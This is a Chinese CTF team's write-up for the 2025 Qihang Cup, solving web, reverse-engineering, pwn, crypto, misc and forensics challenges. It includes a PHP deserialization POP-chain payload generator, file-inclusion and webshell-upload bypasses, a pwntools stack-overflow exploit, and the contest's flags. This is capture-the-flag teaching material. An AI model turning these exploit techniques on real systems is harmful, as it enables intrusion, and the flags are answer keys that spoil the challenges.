启航杯::CTF-花舞少女队伍wp
队员:ranfey,Annms_,SD7935,凉熙
一场因为硬盘和键盘引起的血雨腥风
下次我就会取证了,给我等着╰(‵□′)╯
类型 | 题目 | 解题人 |
---|---|---|
Crypto | Easy_RSA | SD7935 |
Forensics | Win_02 | ranfey |
Pwn | Easy_Pwn | ranfey |
Re | Checker | Annms_ |
Re | note | Annms_ |
Re | rainbow | Annms_ |
Misc | QHCTF For Year 2025 | Annms_ |
Misc | PvzHE | ranfey |
Misc | ___启动! | ranfey |
Misc | 请找出拍摄地所在位置 | Annms_ |
Web | PCREMagic | ranfey |
Web | Web_pop | ranfey |
Web | web_ip | ranfey |
Web | Easy_include | ranfey |
web
Easy_include
访问见得源码
<?php
error_reporting(0);
//flag in flag.php
$file=$_GET['file'];
if(isset($file))
{
if(!preg_match("/flag/i",$file))
{
include($file);
}
else
{
echo("no no no ~ ");
}
}
else
{
highlight_file(__FILE__);
}
?>
过滤了关键字flag
,直接get
传过去的参数都是被解码后过滤,但是只要get
里没flag
就可以
所以考虑php://input
伪协议读post
然后文件包含执行读取文件
QHCTF{d6cf1618-cfe8-4957-9377-e8d9a8918fb9}
web_ip
进入到一个页面,flag.php
页面有显示又一个you ip
XFF头
代表了HTTP
的请求端真实的IP
猜测这里是通过读取X-Forwarded-For头
来显示
尝试修改X-Forwarded-For头
尝试到ssti
有收获
发现已经齐了,可以直接执行
QHCTF{187005b0-a280-4b5c-bc92-1fcedf38a36c}
Web_pop
pop构造
题目:
<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to QHCTF 2025, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
构造
<?php
error_reporting(0);
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "__destruct\n";
echo "Welcome to QHCTF 2025, ".$this->name."\n";
}
public function __isset($var)
{
echo "__isset\n";
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
echo "__toString\n";
// 调用 $this->obj->check($this->var)
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy\n";
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
echo "__call\n";
// clone eeee => 触发 eeee->__clone()
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
echo "__clone\n";
// isset($this->obj->cmd) => 触发 $this->obj->__isset('cmd')
if(isset($this->obj->cmd)){
echo "success\n";
}
}
}
/**
* 构造 POP 链对象:Start -> Sec -> Easy -> eeee -> (Start again)
* 1) Start->$name = (Sec对象1) => 触发 __toString
* 2) Sec对象1->obj = Easy, Sec对象1->var = eeee
* 3) eeee->obj = Start (用于 clone 时 isset($this->obj->cmd))
* 4) Start->func = (Sec对象2),作为 __isset() 中 ($this->func)() => Sec->__invoke()
*/
# 1. 实例化各对象
$start = new Start();
$sec1 = new Sec(); // 用于 __toString -> $obj->check($var)
$sec2 = new Sec(); // 用于 __invoke()
$easy = new Easy();
$eeee = new eeee();
# 2. 配置 public 属性:Start::$name = Sec1, eeee::$obj = Start
$start->name = $sec1;
$eeee->obj = $start;
# 3. 用反射给 Sec1 赋私有属性 $obj, $var
$secReflect = new ReflectionClass('Sec');
$objProp = $secReflect->getProperty('obj');
$objProp->setAccessible(true);
$objProp->setValue($sec1, $easy);
$varProp = $secReflect->getProperty('var');
$varProp->setAccessible(true);
$varProp->setValue($sec1, $eeee);
# 4. 用反射给 Start 配置受保护属性 $func = Sec2
$startReflect = new ReflectionClass('Start');
$funcProp = $startReflect->getProperty('func');
$funcProp->setAccessible(true);
$funcProp->setValue($start, $sec2);
# 5. 生成
$payload = serialize($start);
echo $payload, "\n\n";
QHCTF{e4e02756-4113-44f0-b260-a62601e8d63c}
PCREMagic
题目:
<?php
function is_php($data){
return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
if (!is_dir($user_dir)) {
mkdir($user_dir, 0755, true);
}
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
exit;
}
?> 1
蚁剑生成shell
,上传后直接连接跳转后的路径
然后在根目录找到flag
QHCTF{9d668439-ee6d-481a-9cb7-191edd0c46e7}
misc
QHCTF For Year 2025
按顺序标记出来可得
QHCTF{FUN}
PvzHE
随手翻就翻到了。。。。
images\ZombieNote1.png
QHCTF{300cef31-68d9-4b72-b49d-a7802da481a5)
___启动!
web手只看http(
题目说了是玩完后传了个什么过去就看post
,发现一个比较可疑的
下面带的解不出来,然后想访问一下这个http://101.126.66.65/log
试试
就有了
QHCTF{69b62b46-de2f-4ac2-81f7-234613d25cfb}
请找出拍摄地所在位置
因为图里最明显的俩个商店都是连锁,所以从画面左侧的酒店入手
高德一下即可找到
Re
Checker
主函数内可见比较函数check_flag
check_flag
函数内可见加密函数和密文encrypted_flag
加密逻辑为异或0x23
,密文如下
chef
一下即可解出
QHCTF{6c7b9c-e7f5-4fab-9bdf-ea07e034f6a5}
rainbow
在主函数中不难找到hide_flag
函数
在该函数中可见加密逻辑为使用xor_encrypt
,该函数就是简单异或
使用给的密文即可解出
QHCTF{a8226103-5a9a-4fa7-abcf-dea438a7ce78]
note
#include <iostream>
#include <vector>
std::vector<uint8_t> decryptflag(const std::vector<uint8_t>& ciphertext) {
uint32_t key = 0x7CA13742;
std::vector<uint8_t> decrypted(ciphertext.size());
for (size_t i = 0; i < ciphertext.size(); ++i) {
decrypted[i] = ((key >> (8 * (i % 4))) & 0xFF) ^ ciphertext[i];
decrypted[i] ^= (i + 1);
}
return decrypted;
}
int main() {
std::vector<uint8_t> ciphertext = {
0x12, 0x7d, 0xe1, 0x2c, 0x01, 0x4a, 0xc4, 0x45, 0x78, 0x5e, 0xc9, 0x46, 0x78, 0x5d, 0x83, 0x0f,
0x37, 0x12, 0xd0, 0x45, 0x63, 0x42, 0xd5, 0x57, 0x76, 0x14, 0xde, 0x06, 0x6e, 0x04, 0x8f, 0x3e,
0x50, 0x21, 0xe1, 0x3b, 0x53, 0x72, 0xb7, 0x6c, 0x5d, 0x79, 0xf7
};
std::vector<uint8_t> decrypted = decryptflag(ciphertext);
std::cout << "Decrypted result: ";
for (uint8_t byte : decrypted) {
std::cout << byte;
}
std::cout << std::endl;
return 0;
}
QHCTF{b13cc67d-cd7b-4cc3-9df1-1b34cc4c186d}
pwn
Easy_Pwn
栈溢出
查看buf
到栈底的距离为0x50
,程序为64位+8
确认后门函数在0x4011C6
,但是用ret
直接跳到函数最开头,为16对齐
,没有经过call
先减8
push rbp
会导致又减了8
,然后导致后门执行命令的时候为8对齐
报错
因此直接跳到0x4011C7
执行
from pwn import *
p = remote("challenge.qihangcup.cn", port=34873)
def custom_p64(num):
return num.to_bytes(8, byteorder="little")
payload = b"a" * (0x50 + 8) + custom_p64(0x4011C7)
p.sendline(payload)
p.interactive()
QHCTF{2a6fed4b-28bc-4392-8ee1-356610cc00f6}
Crypto
Easy_RSA
# -*- coding: utf-8 -*-
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import base64
key = RSA.generate(1024)
private_key = key.export_key()
public_key = key.publickey().export_key()
print("私钥:")
print(private_key)
print("公钥:")
print(public_key)
def encrypt_message(message, public_key):
key = RSA.import_key(public_key)
cipher = PKCS1_OAEP.new(key)
encrypted_message = cipher.encrypt(message.encode())
return base64.b64encode(encrypted_message).decode()
message = "Hello, this is a secret message!"
encrypted = encrypt_message(message, public_key)
print("加密后的消息:")
print(encrypted)
private_key = b'-----BEGIN RSA PRIVATE KEY-----\nMIICXgIBAAKBgQCtOCsd5TaiQ9uTE/QfLgrx2IF3xeXvvG3bQyl5JXiyFapNszY8\nLZKrKKWo7rNM4XGbgJX0PdqVxdgsc1nQgIhZJfrGvj/wquEQ/FhJPJmcx3kT68Q4\nkRU3BTwmBJ/3Cra2J1+4hAyFQbjkGkpWonyKJYNhrv3x0kBBydlgoh6vAQIDAQAB\nAoGAPPVo2w74sJcP1U0u2rAx4tVuDpAC8ODPiluy4zLoLEfKlKiOXBQvqvNVhUNn\nrxUhjXdtjjQcUhv7jP0VLPamxKCBHQP5aZPL9ligChLbPN/AQOIJFN46BXs7GNxC\nD5+X3ij/jzuNQcTD3LW8m/Fomcrjt3HdeYaCAoSI+zUGUD8CQQDNTBpd/00e+kgj\n8XKdn+6XM13VfCHba11rJA4Kg0Fs2vyarw+FJRcYRRHG1CMPjfqzo3RMxLBrRp9G\nXb5yyil3AkEA1//yHtvf2AG7tpqn0Hirqdo5mBl+LEKp/2gVUfkxAXfI9/pr1asd\ntd0CTy9Mr+EwOx6N26UoYi38l+xX+igJRwJBAIBouZVRustFgRn6S9aL0pCAcJC3\ns/WqkiQRyTaKIsITtyyJkwuUx31GtnfG+KciB02VT4k0/aQb6EP7HsRt7sECQQCL\nkbN2YybJoZ0UiexDlaV+lCbA9EAGA3FrOmsEU9tpkmgGbAa/wtjoyY0Tc4G+5+hN\nWxnYwmhMwGBGHo5ecv5DAkEAk2jINlOG4tPOhZpOEWvI5UzdMnngI7pnZw0G9Uz7\ndncfMMKlJIEws6664jahYzY0IzBcKdXhCGlo05zkBZrxvQ==\n-----END RSA PRIVATE KEY-----'
public_key = b'-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtOCsd5TaiQ9uTE/QfLgrx2IF3\nxeXvvG3bQyl5JXiyFapNszY8LZKrKKWo7rNM4XGbgJX0PdqVxdgsc1nQgIhZJfrG\nvj/wquEQ/FhJPJmcx3kT68Q4kRU3BTwmBJ/3Cra2J1+4hAyFQbjkGkpWonyKJYNh\nrv3x0kBBydlgoh6vAQIDAQAB\n-----END PUBLIC KEY-----'
enmessage = b"Ch6mgS4nNw4yLh3o20OSRJ9ufPooYcggiapqhnw0CQphpcOd5Ub5oPUtqQTka+xv7/ZOywap4KqAvJlP7NVfpxmaCHIVpne9s/2hv2QS2+uv7h8fpR2oSQ9UWj8J0vO36a4yxSl6ghVXWyMP/5fCBboKmwhUGYmzdH8h3SqpaW4="
private_key = RSA.import_key(private_key)
cipher = PKCS1_OAEP.new(private_key)
enmessage = base64.b64decode(enmessage)
message = cipher.decrypt(enmessage)
print(message)
QHCTF{251628c7-31e6-4385-9e35-4f0bbd127649}
Forensics
Win_02
扫描结束后可以看到
解码后密码为123456
后按题目要求一起md5
QHCTF{fb484ad326c0f3a4970d1352bfbafef8}
Comments NOTHING